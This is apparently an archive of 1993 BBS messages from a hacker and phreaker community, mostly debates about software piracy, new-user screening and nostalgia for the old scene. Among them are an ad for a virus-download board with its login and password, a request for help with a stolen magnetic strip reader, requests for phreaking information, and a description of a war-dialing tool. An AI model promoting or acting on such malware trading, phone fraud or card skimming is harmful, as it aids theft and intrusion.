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Date: Sat Sep 11 22:22:57 1993
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call:
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The Virus Outlet AE
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215-775-7195
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free virii
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over 700 online
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use login: AE / pass: VIRUS / last 4#s: 0000
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call and leech all you want!
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From comrade@yabbs Sun Sep 12 11:26:56 1993
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From: comrade@yabbs
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To: all@yabbs
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Subject: re: AWA
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Date: Sun Sep 12 11:26:56 1993
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You're a looser. I didn't post it, Coup did. But I wish I did. I
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applaud coup for doing so.
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jas0n "AWA Will Rock Your World" Farnon
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From comrade@yabbs Sun Sep 12 11:27:31 1993
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From: comrade@yabbs
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To: octal@yabbs
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Subject: re: AWA
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Date: Sun Sep 12 11:27:31 1993
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Thank you for AWA Support.
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Jason "I'm not against Piracy I'm against Warez" farnon
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From comrade@yabbs Sun Sep 12 11:28:24 1993
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From: comrade@yabbs
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To: all@yabbs
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Subject: re: ...
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Date: Sun Sep 12 11:28:24 1993
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K-Call
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617-599-7154
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N0W
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And chat me.
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or download all my tfiles
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its a decent board.
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i just erased 50 inactive users
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should be room for you
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From comrade@yabbs Sun Sep 12 11:31:24 1993
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From: comrade@yabbs
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To: all@yabbs
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Subject: re: AWA
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Date: Sun Sep 12 11:31:24 1993
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VI you're lame. I tried to reply to you, but you don't exist on this
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board anymore. You're lame. I'm not supporting that "net p0lice". Warez
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d00dz do hurt you idiot. They take up valuable time and massive amounts
|
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of space for their 0 day bullshit.
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Are you over 18 looser?
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jas0n
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From comrade@yabbs Sun Sep 12 11:31:56 1993
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From: comrade@yabbs
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To: artimage@yabbs
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Subject: re: HP BBS
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Date: Sun Sep 12 11:31:56 1993
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Grey Wolf? The same Grey Wolf from Hack Volumes who posted all the C0deZ
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and #s? Nice to see he is still around
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jas0n
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From octal@yabbs Sun Sep 12 17:11:30 1993
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From: octal@yabbs
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To: comrade@yabbs
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Subject: warez and the INet
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Date: Sun Sep 12 17:11:30 1993
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I agree with the "no warez on the net" policy. Nobody wants valuable
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bandwidth being wasted on that crap. Warez should be forced back to the
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|
dialup bbs's or trading stuff in the back room of a friends house.
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|
Fortunately, all of the truly good, useful programs are available on the
|
|
net and free(GNU is a great example of this). The only game that I have
|
|
on my system at home is Rogue(unix version), and it's freeware.
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As for pirates who would disagree, I would say this:If you can't find what
|
|
you want where you live, or on a local board, you just aren't looking hard
|
|
enough. I live in a small, hick town, and I could get just about anything
|
|
that I desired if I looked hard enough.
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Octal
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From nphire@yabbs Tue Sep 14 18:41:20 1993
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From: nphire@yabbs
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To: artimage@yabbs
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Subject: re: HP BBS
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Date: Tue Sep 14 18:41:20 1993
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Hey artimage good to see ya on here!
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Anybody know of any H/P/especially V boardZ in 701?
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From nphire@yabbs Tue Sep 14 18:43:56 1993
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From: nphire@yabbs
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To: illumina@yabbs
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Subject: re: <no title>
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Date: Tue Sep 14 18:43:56 1993
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Called the AE, it was down.
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|
Probs?
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HEy, I got a /<-RAD place for you to get virii.
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|
Mail me.
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It's not LD.
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From admiral@yabbs Tue Sep 14 21:06:11 1993
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From: admiral@yabbs
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|
To: comrade@yabbs
|
|
Subject: re: AWA
|
|
Date: Tue Sep 14 21:06:11 1993
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Yea, I agree with you on the groups and shit man. Not only that but
|
|
if you want to have their warez on your board you have to pay the
|
|
group something like $200 a year. That's what I heard about Razor at
|
|
least. That's a bunch of bullshit. IMO that's not what warez are if you
|
|
have to pay for them.
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llatta
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From ratpack@yabbs Thu Sep 16 13:12:21 1993
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From: ratpack@yabbs
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To: all@yabbs
|
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Subject: ...
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|
Date: Thu Sep 16 13:12:21 1993
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_ _
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((___))
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[ o o ]
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\ /
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(O O)
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|
U
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underworld_1993.com
|
|
cDc Global Domination Factory Direct Outlet
|
|
3000+ textfiles/newsletters
|
|
Usenet Newsgroups & Internet Email
|
|
uworld.mtlnet.org
|
|
(514) 683-1894
|
|
new user password: DUNE
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|
notice: only the experienced need to apply
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From hbeast@yabbs Thu Sep 16 18:53:11 1993
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From: hbeast@yabbs
|
|
To: all@yabbs
|
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Subject: oldies
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Date: Thu Sep 16 18:53:11 1993
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Damn, I hate replying to old messages like this, but still...
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About BBS software: check out wuarchives, under the MSDOS directory. They
|
|
have everything, but stuff gets deleted and added all the time.
|
|
gallifrey.ucs.uoknor.edu also was great and had lots of "rare" BBS
|
|
programs, but I just logged off there and it's down because of a HD crash.
|
|
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|
As for wares on alt.security, the thing that really killed me was when
|
|
someone posted an .NFO file made by USA/Fairlight... and that group died
|
|
when I still traded wares, and that's been a loong time. Hmm, actually,
|
|
the part that killed me was when some people replied to the effect of,
|
|
"Gee, looks like we're really getting those pirates!!1!!! Maybe someone
|
|
should notify the SPA about all this!!!1!"
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herd beasT
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From xenon@yabbs Thu Sep 16 21:11:22 1993
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From: xenon@yabbs
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To: hbeast@yabbs
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Subject: re: oldies
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Date: Thu Sep 16 21:11:22 1993
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USA/Fairlight! Ah, yes. It's good to hear those names admist all the
|
|
screaming by the new IBM warez d00dz about how you need a 486 or yer shit
|
|
on the screen...speaking of 64 era, I've heard of and even at one time had
|
|
some addresses for 64 ftp suites. Demos are my main concern. Believe it
|
|
or not, I have a 64 sitting right next to me running at this moment! Wow!
|
|
Can you say 1mhz? Ah, well, if anyone has some addresses, I'd ppreciate
|
|
immensly. Maybe I'll write 'em down somewhere this time...heh.
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|
Ya know, I remember a time when your computer didn't matter. A time
|
|
when users helped eachother out regardless of what piece of shit you had
|
|
plugged into the wall. A time when...ah, fuck the sermen, point of
|
|
matter: computer users gotta stick togeather especially in this day and
|
|
age. Who cares if you have a 486DX/2 running at 66mhz? It's what you do
|
|
with it that counts!
|
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--> Xenon
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|
Please send all donations to the Church of the Holy 8-bit.
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From phragger@yabbs Sat Sep 18 06:47:43 1993
|
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From: phragger@yabbs
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|
To: ratpack@yabbs
|
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Subject: re: ...
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Date: Sat Sep 18 06:47:43 1993
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You wouldn't mind posting the ip-address for
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uworld.mtlnet.org as well, yes ?
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From ratpack@yabbs Sun Sep 19 21:27:56 1993
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From: ratpack@yabbs
|
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To: phragger@yabbs
|
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Subject: re: ...
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Date: Sun Sep 19 21:27:56 1993
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It's not connected to the Internet. It's a MS-DOS based bbs.
|
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uworld.mtlnet.org is my netmail address to a gateway fido-style network
|
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for newsgroups and netmails.
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|
Later
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From jon@yabbs Mon Sep 20 14:54:32 1993
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From: jon@yabbs
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To: all@yabbs
|
|
Subject: Life & Death
|
|
Date: Mon Sep 20 14:54:32 1993
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Does anyone know a good Ftp site that has either Life& Death 1 or 2
|
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?
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Any reply would be grateful
|
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From ydancer@yabbs Mon Sep 20 16:36:04 1993
|
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From: ydancer@yabbs
|
|
To: all@yabbs
|
|
Subject: Mag strip reader
|
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Date: Mon Sep 20 16:36:04 1993
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|
|
A friend of mine ripped off a magnetic strip reader from work and gave it
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|
to me to screw around with. Anyway, if anyone here knows anything about
|
|
magnetic strip readers, or has some kind of software to operate the
|
|
things, I'd appreciate any help. Here's some technical stuff about the
|
|
thing...
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|
The thing's made by a company called Magtek. It consists of two parts. the
|
|
first part is the magnetic strip reader itself. It's connected via a phone
|
|
cord to a keypad and 1 line LCD display. The strip reader also has 2 sets
|
|
of 8-pin jumpers (16 total) and a serial output, which makes me think that
|
|
the terminal/keypad part isn't really necessary (since I could send all
|
|
the input to it via the serial connection anyway.
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|
|
Anyway, any help would be greatly appreciated (I sure as hell don't want
|
|
to resort to hooking the thing up and trying to communicate with it
|
|
through my terminal software...)
|
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From liqjesus@yabbs Mon Sep 20 17:07:09 1993
|
|
From: liqjesus@yabbs
|
|
To: xenon@yabbs
|
|
Subject: re: oldies
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|
Date: Mon Sep 20 17:07:09 1993
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|
Hmmm...I was around during the "glory days" of the old C64 and
|
|
groups like ESI and PE were the kings of warez. I seem to remember
|
|
just as many attitudes back then as there are today. This 0 day
|
|
warez crap is no new phenomenon!
|
|
Yes, I'll even admit that I was once a Warez D00d! Now I barely
|
|
find enough time to hit the bars, let alone download all the newest
|
|
games (which I never played, but used to upload to other boards)!
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-Liquid Jesus-
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From htoaster@yabbs Mon Sep 20 18:19:31 1993
|
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From: htoaster@yabbs
|
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To: jon@yabbs
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Subject: re: Life & Death
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Date: Mon Sep 20 18:19:31 1993
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please don't talk about warez here...if people start giving out sites i'm
|
|
going to have to put more restrictions on the board. right now we are one
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of the few boards that I know of that doesn't require any user info to get
|
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an account, and i would like to keep it that way.
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htoaster
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From lobster@yabbs Mon Sep 20 21:32:16 1993
|
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From: lobster@yabbs
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To: ydancer@yabbs
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Subject: re: Mag strip reader
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Date: Mon Sep 20 21:32:16 1993
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-------------------------
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to me to screw around with. Anyway, if anyone here knows anything about
|
|
magnetic strip readers, or has some kind of software to operate the
|
|
things, I'd appreciate any help. Here's some technical stuff about the
|
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--------------------------
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Check Informatik Magazine #2 (INFORM-2.ZIP/ARJ/etc). Count Zero typed
|
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up a great article on magnetic strip readers which can be found in that
|
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mag.
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/*-- Lobster --*/
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From moth@yabbs Tue Sep 21 13:17:14 1993
|
|
From: moth@yabbs
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|
To: all@yabbs
|
|
Subject: Phreaking in South Africa.
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|
Date: Tue Sep 21 13:17:14 1993
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|
Hi there people!
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I need information on phreaking.
|
|
I'm familiar with the basic principles of blue-boxing etc.
|
|
Has anybody managed anything on the South African phone net, or do you
|
|
know of someone who can help. Has anybody tried ???
|
|
The country code is +27 xx xxx xxxx.
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Any files or docs would be welcome.
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Cheers moth
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From xenon@yabbs Tue Sep 21 18:34:25 1993
|
|
From: xenon@yabbs
|
|
To: liqjesus@yabbs
|
|
Subject: re: oldies
|
|
Date: Tue Sep 21 18:34:25 1993
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|
Sure, there's always been attitutes as far back as I can remember. I
|
|
learned to BS up a storm when I first got my modem just to connect to some
|
|
0-0-0-0 BBS. What I am saying is that way-back-when, if you had a
|
|
computer and wanted to learn, people were a lot friendlier. Remember
|
|
"trainees?" But not only that, it didn't matter much if you were hacking
|
|
on a 64, ][c, or a TI. There was a lot more bonding of the underground
|
|
regardless of computer type.
|
|
--> Xenon
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|
From xenon@yabbs Tue Sep 21 22:50:20 1993
|
|
From: xenon@yabbs
|
|
To: all@yabbs
|
|
Subject: re: Mag strip reader
|
|
Date: Tue Sep 21 22:50:20 1993
|
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|
|
I've always wanted to get my hands on one of those things and look it
|
|
over. Wasn't there an article in 2600 last year about them? If anyone
|
|
knows of a supplier for the kind you see in gas stations, restraunts, etc.
|
|
where the reader and keypad are all in one unit, pleaze pass the info.
|
|
along.
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|
--> Xenon
|
|
(too busy "studying" to do anything else...)
|
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|
|
From comrade@yabbs Wed Sep 22 16:34:04 1993
|
|
From: comrade@yabbs
|
|
To: octal@yabbs
|
|
Subject: re: warez and the INet
|
|
Date: Wed Sep 22 16:34:04 1993
|
|
|
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|
|
I'm against the warez scene in general, and hate bandwith wasted on it.
|
|
Most of the shit can be found locally anyways. GNU is a god-send. I just
|
|
might volunteer there next year. Software should be free. I should be
|
|
able to have the windows 4.0 source.
|
|
|
|
"Take a bottle drink it down, pass it aroung, why that crazy marry"
|
|
ja
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|
jason
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From comrade@yabbs Wed Sep 22 16:36:43 1993
|
|
From: comrade@yabbs
|
|
To: ratpack@yabbs
|
|
Subject: re: ...
|
|
Date: Wed Sep 22 16:36:43 1993
|
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|
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I am on underworld, well at least I hope my account still exists. Its a
|
|
nice quiet board, I recommend it for everyone.
|
|
|
|
BUT ratpack I am pissed at you. May Dem0nseed FESTER on your rotting
|
|
body. Because Global Domination Factory Outlets are not permitted to
|
|
put cows in ANY of thier advertisments... You should know that!
|
|
|
|
jason
|
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|
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From comrade@yabbs Wed Sep 22 16:38:25 1993
|
|
From: comrade@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: Life & Death
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Date: Wed Sep 22 16:38:25 1993
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This place is pretty free. We were talking about warez sucking, but warez
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d00dz mistook it for a k-rad FTP xchange!@# This place is cool. I
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wouldn't want to compromize it.
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617-599-7154
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From xenon@yabbs Sun Sep 26 23:32:29 1993
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From: xenon@yabbs
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To: liqjesus@yabbs
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Subject: re: good old days
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Date: Sun Sep 26 23:32:29 1993
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Yes, YES, YES! I hate calling a board with a huge 50 page application
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asking stupid things like whats ES stand for? Like any asswipe couldn't
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read 2600 or Phrack and find out everything in a single issue. I just
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have one question...WHY? (er, that's ESS...) I mean, its not like a
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fed's not gonna know what a 5ESS or an X-Bar is. If they don't, then what
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are they doing bustin' BBSs? I've pratically...well, I have given up
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calling new board 'cuz they're basically a waste of time. I mean, I'm
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sure there are some good ones out there, but the sheer quantity of these
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other 3l33t boards sorta ruin the x-periance.
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Actually, I've never really thought of myself as an elite d00d because my
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main driving force is information itself. And not only gathering
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knowledge, but spreading whatever small tibits of info I have to others
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who ask. I guess that sorta goes against the grain of being totally
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elite. And that's probably why I miss the "old" days like I do. Sure,
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*maybe* I've done carding, VMB hacking, and other activities that one
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would call elite, but if I did partake in such activities, it was during
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my prepubecent years and definately nothing to brag about. As for the
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bare inner workings, that's what keeps me going. Not for exploitation,
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but just for the knowledge. And what would I do with that knowledge if
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not make free long distance calls? Well, willingly confide in others *if
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they ask*. I'm not talking about trading, but the FREE exchage of
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information. THAT's what I miss.
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It's sad that people have to be so tight-lipped these days. I'm not
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trying to place the blame on anyone here. It's just society reacting to
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the explosive emergence to this new and wonderful technology. I don't
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hate codrez and crackers and phreakers etc. Just think if they all
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stopped warring and pooled the immense knowledge togeather...and no, I'm
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not some raving flower-child either. Just a bored college student sitting
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on top of the fucin' world and high on technology. I hope I never do, but
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will probably become some bored yuppie in a million $ house lined with
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plastic explosives to keep people away from my precious information. Oh,
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man, am I getting depressed here ;).
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--> Xenon
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(stumples off his soapbox and wonders what the hell he just said...if this
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makes sense to you, PLEASE explain it to me!)
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...and thank you for your support...*puke*
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From admiral@yabbs Tue Sep 28 17:43:59 1993
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From: admiral@yabbs
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To: liqjesus@yabbs
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Subject: re: good old days
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Date: Tue Sep 28 17:43:59 1993
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Well, actually, there's another reason for those tests. Ever have
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someone call your board and just leech leech leech. It's rather annoying.
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And then you get this message that says why can't I download when thye
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max their ratio out. I'm not interested in whether or not they have the
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latest warez. In fact, I don't even care if they pirate or not. I run a
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h/p/a board and they have to know what the fuck they are talking about. I
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had a user come on who didn't know what the fuck LOD stands for. That
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kind I just automatically delete.
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llatta
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From admiral@yabbs Tue Sep 28 17:45:57 1993
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From: admiral@yabbs
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To: xenon@yabbs
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Subject: re: good old days
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Date: Tue Sep 28 17:45:57 1993
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I agree wholeheartedly with you on the part about t about pulling
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knowledge together. I don't agree on the newuser questionnaires. I think
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there has to be some questions to weed out lame ass people who don't have
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any business calling there. But, it shouldn't be that long as to take
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more than 5 minutes.
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llatta
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From maestro@yabbs Tue Sep 28 23:41:34 1993
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From: maestro@yabbs
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To: all@yabbs
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Subject: NEW BBS
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Date: Tue Sep 28 23:41:34 1993
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The Dynerium BBS 604-856-3933
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H/P Areas With Lots Of Box Files, And Unix Stuff...
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Reaslly New, CXheck it Out....
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~ ThE MaEsTrO ~
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/s
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From xenon@yabbs Tue Sep 28 23:41:34 1993
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From: xenon@yabbs
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To: admiral@yabbs
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Subject: re: good old days
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Date: Tue Sep 28 23:41:34 1993
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Yeah, but how's anyone gonna learn shit? As long as there are modems, yer
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gonna have some lame-ass moron knockin on yer door thinking he's gods gift
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to the hackers. My philosaphy is let him blurt sum stupid out and then
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feel the wrath of the other users. I mean, hes the one who's gonna be
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getting 10 large pizzas a night. If, on the other hand, they really want
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to learn and have the smallest bit of common sense to keep their mouth
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shut, whats the problem with them d/ling a text phile or watch people
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talk about things that they wouldnt understand anywayz.
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Ok, no learning can beat "on-the-job" training. To really understand
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stuph, ya gotta x-perince it! With the way things are, though, you cant
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just sit at home and try shit out anymore. Why condem an possible future
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ally to the brig before he even had a chance to start? Im not saying
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walking someone thru things step-by-step, im sayin let the little leech
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d/l a few g-files, do sum reading, and keep their mouth shut 'till they
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have a clue.
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The way I am, if someone has a question for me, ill help em out (within
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the limits of my patience) as much as i can. Probably 'cuz the people
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around when i first got my modem were the same way even though i wuz a
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little bad-ass. Im not sayin do that, though. Ya cant help everyone
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along and ya cant be Mr. "Right There to hold yer hand" either. What im
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sayin is, whats the problem in letting someone on even if they dont know a
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few lines of an encryption scheme in c, (got asked that a little while
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ago). If they fuck around, its their funeral...personally, id be more
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weary of a user that answered all the questions concisely than someone who
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just phucked around...least i know they have a sense of humor.
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--> Xenon
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(Damn, I typed all that? How time flies when yer...well...)
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From phragger@yabbs Wed Sep 29 01:59:28 1993
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From: phragger@yabbs
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To: admiral@yabbs
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Subject: re: good old days
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Date: Wed Sep 29 01:59:28 1993
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I can't say I really agree with you there. Some questionnare is problably
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quite necessary, rather I think that "participation" , etc.. Should
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allow the user further access. 1. that questionnare shit, starts
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moving towards that place, where social status is above intelligence and
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2. some people are sometimes new to this shit, and d they just might be in
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in it to learn.
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From liqjesus@yabbs Wed Sep 29 18:02:38 1993
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From: liqjesus@yabbs
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To: admiral@yabbs
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Subject: leeches
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Date: Wed Sep 29 18:02:38 1993
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I agree that new user tests do help to weed out leeches, lamers, and
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locals (the dreaded three). My complaint is when the sysop expects you
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to study a technical manual before you can log on to his board! I often
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wonder if such sysops can answer half the questions themselves!
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ps. And that whole controversy over whether sysops should let locals on
|
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their boards is pretty dumb. Half the time it's the locals who do
|
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the uploading/downloading. Most ld folks get free ratios!
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-LJ-
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From lordcybr@yabbs Thu Sep 30 00:32:46 1993
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From: lordcybr@yabbs
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To: all@yabbs
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Subject: re: leeches
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Date: Thu Sep 30 00:32:46 1993
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I am about to open up a bbs, I wonder what I should do. Do I have ratios
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at all, or do it by points? Should I have a questonair? I don't know what
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I should do, so I am asking what do you think would make the best bbs?
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Artimage.-
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From Rage@yabbs Thu Sep 30 01:29:46 1993
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From: Rage@yabbs
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To: htoaster@yabbs
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Subject: yabbs on Unix
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Date: Thu Sep 30 01:29:46 1993
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I have tried to compile Yabbs on Sun OS 4.1.3, And having problems, Is
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there a Update to it, That will allow it to operate on SunOS?
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From xenon@yabbs Fri Oct 1 10:42:03 1993
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From: xenon@yabbs
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To: lordcybr@yabbs
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Subject: re: leeches
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Date: Fri Oct 1 10:42:03 1993
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Personally, I think the best BBSs are free access BBSs. My own ill-fated
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board, Freeport, (ill-fated due to 2 HD deaths in a space of a couple o
|
|
months), was like that. Free exchange of information and all that jazz.
|
|
Because it was a one-liner, had to put time restrictions on users and
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calls/day, but that's it. Otherwise, to get in, all you needed was a
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handle and a password and a few minutes to space thru all my new user
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ramblings.
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--> Xenon
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From Groove@yabbs Fri Oct 1 14:05:46 1993
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From: Groove@yabbs
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To: all@yabbs
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Subject: thanks.
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Date: Fri Oct 1 14:05:46 1993
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Thank you all for confirming the fact to me that the scene was not dead.
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|
I was heavilly into the scene several years ago but got out for various
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|
reasons. Now that I have been in college for a few years and am meeting
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people with similar interests, I am getting back into it with caree and
|
|
knowledge than I used to have. Thanks to all of you.
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From tyrant@yabbs Sat Oct 2 14:54:24 1993
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From: tyrant@yabbs
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To: liqjesus@yabbs
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Subject: re: good old days
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Date: Sat Oct 2 14:54:24 1993
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I think that you would have liked my board, but it is down now...
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No ratios (I actually killed the file section in the end), the only forms
|
|
were to keep away dangerous unwanteds.. (People who thought that deleting
|
|
HDs was fun were included as well as the obvious...), and it had a nice
|
|
variety of message bases. (But they weren't used enough....)
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|
And peopler knew more than me!
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tyrant.
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From htoaster@yabbs Sat Oct 2 16:24:05 1993
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From: htoaster@yabbs
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To: tyrant@yabbs
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Subject: re: good old days
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|
Date: Sat Oct 2 16:24:05 1993
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|
on the subject of stuff, what do people think about the way that we have
|
|
stuff setup here? As you should know, we don't require any information on
|
|
anyone when they make accounts, anyone can make an account, and everyone
|
|
gets access to everything on their first connect...
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|
htoaster
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From proteus@yabbs Sat Oct 2 19:41:21 1993
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From: proteus@yabbs
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|
To: htoaster@yabbs
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Subject: re: good old days
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|
Date: Sat Oct 2 19:41:21 1993
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oh man, this board is beautiful..totally free access. this is what
|
|
cyberspace was supposed to be like. everyone starts out the same. everyone
|
|
can learn.
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i dunno, but boards that have questionaires to weed out newbies aint
|
|
real nice. how else are you gonna start? i mean, even twelve year
|
|
old idiot crackers need to be created to keep a balance :-).
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sorry, but i remember it was terribly easy to start when everybody was
|
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learning at the same time.
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in short (if nothing i have said in the previous ten lines makes any
|
|
sense, i hope this will) this is the ideal of bbses. this is what has been
|
|
created with arpanet, and this is one helluva lot better than the
|
|
"begining." local boards these days dont allow anyone -new-. cyberspace
|
|
should be accessible by all. (oh. this last bit didnt make any sense
|
|
either. sorry. forget about this post.)
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From ratpack@yabbs Sun Oct 3 13:35:26 1993
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From: ratpack@yabbs
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|
To: comrade@yabbs
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|
Subject: re: Life & Death
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|
Date: Sun Oct 3 13:35:26 1993
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From ratpack@yabbs Sun Oct 3 13:43:50 1993
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|
From: ratpack@yabbs
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|
To: comrade@yabbs
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|
Subject: re: ...
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Date: Sun Oct 3 13:43:50 1993
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|
Thanks for the nice comment about underworld_1993.com and yes, your
|
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account is still there.
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No cows in the advertisement. Yes I saw that, but I changed my cow so it's
|
|
not the same one. How can a group take control of a complete object <g>.
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BTW: Did you know that the church are 'owners' of the cross 'logo'...
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Anyways, later.
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From swami@yabbs Sun Oct 3 16:24:34 1993
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From: swami@yabbs
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To: all@yabbs
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|
Subject: Newbies
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|
Date: Sun Oct 3 16:24:34 1993
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|
Regarding weeding out the lamer's etc, the bottom line is that
|
|
in the end, if the user is really deserving, he or she will find a
|
|
way to get into the "scene." I spent about a year using a 1200bps
|
|
modem and a dumb terminal just learning things before I even knew that
|
|
p/h/a boards or anything of the like existed (this was indeed a long
|
|
time ago.) If the user doesn't have a clue now, wait. If they are a
|
|
good user-to-be, they'll figure it all out eventually. Hope that made
|
|
any sense.
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swami
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From -Flare-@yabbs Sun Oct 3 19:55:43 1993
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From: -Flare-@yabbs
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To: slim@yabbs
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Subject: re: tftp
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Date: Sun Oct 3 19:55:43 1993
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so what? Just cuz you can get the passwd file doenst mean anything. Its
|
|
encrypted, right? (If im totally wrong, shuddap, im new to the "scene")
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From -Flare-@yabbs Sun Oct 3 19:56:51 1993
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From: -Flare-@yabbs
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To: invalid@yabbs
|
|
Subject: re: Toneloc beta 10
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Date: Sun Oct 3 19:56:51 1993
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Whats TL?
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From -Flare-@yabbs Sun Oct 3 20:02:24 1993
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From: -Flare-@yabbs
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|
To: greywolf@yabbs
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|
Subject: re: hack sites
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Date: Sun Oct 3 20:02:24 1993
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Hmm, greywolf , your name soudns familiar. You live in CA?
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From -Flare-@yabbs Sun Oct 3 20:10:20 1993
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From: -Flare-@yabbs
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To: pyro@yabbs
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|
Subject: re: HP Network...
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Date: Sun Oct 3 20:10:20 1993
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Have'nt been following the messages, what are you gonna starT??
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From bland@yabbs Mon Oct 4 00:26:40 1993
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From: bland@yabbs
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To: all@yabbs
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Subject: yeah, i'm lame....
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Date: Mon Oct 4 00:26:40 1993
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i know this is a stupid thing to ask, but looking around on my own has
|
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got me nowhere. how can i start finding good ftp sites? good hack info.
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and where can i get into good talk on irc? i'm not really even looking for
|
|
pirited shit or anything either, just some cool stuff you know?
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From pyro@yabbs Mon Oct 4 01:12:37 1993
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From: pyro@yabbs
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To: all@yabbs
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Subject: BBS types...
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Date: Mon Oct 4 01:12:37 1993
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I have run a BBS for about 8 years now, and for the past 4 I have had no
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requirements for getting access. You just call, give a name and password,
|
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and answer some simple questions (and they have no basis on access, so
|
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most people skip them) and there you go. Total file and message base
|
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access. Nothing to hide. Each user gets 30 minutes a day to do as the
|
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please.
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And believe it or not, it is a h/p orientated BBS> Lots of text
|
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files, good messages, but nothing explicitly illegal. Just good theory
|
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and ideas.
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Anyway, I have found this to be the best method I have ever used in
|
|
running a BBS. Sure, it is not for everyone. There are too many
|
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"private" elitest boards, not enough public learning boards.
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Anyway, might as well give it a cheap plug:
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Propaganda
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|
(612) 874-9113
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From greywolf@yabbs Mon Oct 4 01:58:19 1993
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|
From: greywolf@yabbs
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|
To: all@yabbs
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|
Subject: me
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Date: Mon Oct 4 01:58:19 1993
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|
I live in cyberspace :)
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From jcjc@yabbs Mon Oct 4 08:19:48 1993
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|
From: jcjc@yabbs
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|
To: pez@yabbs
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|
Subject: H/P & Scaners/hacking
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|
Date: Mon Oct 4 08:19:48 1993
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o first, let me say: I have no ftp access... but I will soon, working on
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it.. hmmn, I had access to the OLD, OLD MSP... and now I have Code Thief
|
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v. 3.15, and FH (can I say the magic word?:) v. 2.0 etc... mabye my H/P
|
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stuff is old but hey, talk to Pegasus, he would agree with me, San Diego
|
|
is DEAD!!! thats why I got on the net.. hmmn, I am a phone phreak & Hacker
|
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from the EAST!!! dammit, I am thinking of moving back when I get old
|
|
enough!! (3 more years til I can go, that is, if 18 is the age limit. :)
|
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hmmn, ok, I'll see what I can do, I have some new H/P files, (if you
|
|
concider Phrack43.zip new :) hehe, ok, I like RISC and SUN systems, hey,
|
|
to that guy that mentioned the con's, I dont think I'll be going, because
|
|
I feel that you can get more useful information from SE's and other such
|
|
people who have access to the machines and manuals then self proclaimed
|
|
'hackers' although there are still a few good ones out there... (as Kludge
|
|
said...:) hmmn, I'd like to get on #hack/#phreak & #unix irc, etc.. ya
|
|
know, if anyone can help me out, let me know... :) hey, San Diego, I run a
|
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board called Apocalyptic Electron (used to be Black in Black, til I found
|
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a nother one :) that is now called Piracetam) so I am still changing
|
|
themes in the menus etc.. I have some good H/P stuff, etc.. :) but
|
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mostly into NEW, NEW stuff, I have an ANI for this area, from a good
|
|
friends, and a few other things, but one guy gave me what he called
|
|
divertor, now don't get me wrong, I know how to use certain things in
|
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certain situations, but anyone into it, call 1-800-225-3282 and tell me
|
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what is up with this one? its not a divertor..! ok, I am gonna be going to
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Germany... (schwienfurt soon) hmmmn, and I need to get some tickets, I
|
|
have no email address yet, so call my board or something (or TUF.. Tampa
|
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Bay!:) ok? hmmn, I have so many German users, its not funny, (where do
|
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they get my number from??? hmmn, ok, talk to you guys later... sorry for
|
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the long post. but its sorta my untroduction, I'm into everything,
|
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(EVERYTHING!!!!, cept CAPITOLISM!:) heheh, ohh well, I'm an Anarchist... )
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now who have I just pissed off? :) ok, laterz guys
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-[jc]2 <----SysOp of Apocalyptic Electron --AE-- :)
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From jcjc@yabbs Mon Oct 4 09:22:16 1993
|
|
From: jcjc@yabbs
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|
To: liqjesus@yabbs
|
|
Subject: re: oldies
|
|
Date: Mon Oct 4 09:22:16 1993
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hehehehehe, ya, 0 days old warez.. intersting enough.. just talking with a
|
|
usre in Maryland :) hehhe, Dial Tone... who is speaking with me about 0 -
|
|
30 minutes old software.. hmmn, now as many people might agree with me,
|
|
I'd love to have a bbs, and have 12 million text files filled with todays
|
|
latest information on the phone company, and have a nother section with 57
|
|
gigabytes of the 0 - 3 minute old stuff :) hehehhe now my favorite group -
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4 Non Blondes is on, I'm loggin off. to watch this lovely woman :) on
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MTV... laterz.. (its a good song.. Spaceman :) hehe laterz
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-[jc]2 <-----SysOp of Apocalyptic Electron -AE--
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From xenon@yabbs Mon Oct 4 10:25:36 1993
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From: xenon@yabbs
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To: pyro@yabbs
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Subject: re: BBS types...
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Date: Mon Oct 4 10:25:36 1993
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thats a great way to run a bbs. thats how i ran mine and will run it
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after i scrape some $$$ togeather to fix my busted HD. The only thing
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this board needs is an outside line...course, the only thing my board
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needs is a slip thru the nice, big university...heh
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--> Xenon
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From liqjesus@yabbs Thu Oct 7 14:54:46 1993
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From: liqjesus@yabbs
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To: all@yabbs
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Subject: BBS's, etc.
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Date: Thu Oct 7 14:54:46 1993
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Hmmm...so now they have 0-3 minute old warez? Sounds like the pirate
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scene is getting dumber by the minute. I even read an intro screen by
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some pirate group recently (I won't mention names) where the guys
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are still posting insults at another group. This "we're number one" crap
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is truly annoying.
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I also agree that the Internet is MUCH more user-friendly as far as
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file ratios go, but I think the seven+ years of BBS training I had
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make me appreicate this stuff more. And, local BBS's are still a good
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spot to see how your scene is doing.
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-LJ-
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From xor@yabbs Fri Oct 8 20:26:48 1993
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From: xor@yabbs
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To: all@yabbs
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Subject: replies.
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Date: Fri Oct 8 20:26:48 1993
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re: ToneLoc
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there was a post a little while back asking what ToneLoc was. It is a
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programm written by Mucho Maas and Minor Threat. Basically it locates
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PBXes, carriers, and any quirky other array of things. It was very well
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written cause it includes stuff like a mapper program so you can see
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patterns in your scans that you might not notice otherwise (like an entire
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band of carriers, etc). Other things are included too like support for
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many modems, GUI, etc. etc. though I have found it to work best with
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USRobotics Courier modems.
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if its not here, I'll send it up if you want.
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^
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From tyrant@yabbs Sat Oct 9 14:23:39 1993
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From: tyrant@yabbs
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To: admiral@yabbs
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Subject: re: good old days
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Date: Sat Oct 9 14:23:39 1993
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Hmm.. But everyone has to learn somewhere.. An as to people who "leach,"
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why do you let them on in the first place? Why have file sections if
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you're not willing to let people download files.. And what the hell does
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it show if you don't know what LOD stands for....
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From tyrant@yabbs Sat Oct 9 14:26:30 1993
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From: tyrant@yabbs
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To: xenon@yabbs
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Subject: re: good old days
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Date: Sat Oct 9 14:26:30 1993
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Of course, another good reason to let people on is that if they aren't any
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good, decide that they need to get (as you put it) "on-the-job" training,
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and go out and get busted, it seems that they will probably give the
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number of every BBS that they know of, including (and probably) in
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particular the ones they are annoyed at (such as the ones that wouldn't
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let them on....)
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ea.
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From tyrant@yabbs Sat Oct 9 14:29:07 1993
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From: tyrant@yabbs
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To: lordcybr@yabbs
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Subject: re: leeches
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Date: Sat Oct 9 14:29:07 1993
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No file areas. You can have text files, but don't put them in file areas.
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Put them in bullitens (but the problem with text files is that the way
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that they change is that they are out-dated REALLY quickly, and probably
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not worth the bother). Make a lot of message bases on every concievable
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topic. Then get a few good users to call -- because of the
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complicated material, the bad users will be weeded out.
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ea
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From tyrant@yabbs Sat Oct 9 14:30:33 1993
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From: tyrant@yabbs
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To: htoaster@yabbs
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Subject: re: good old days
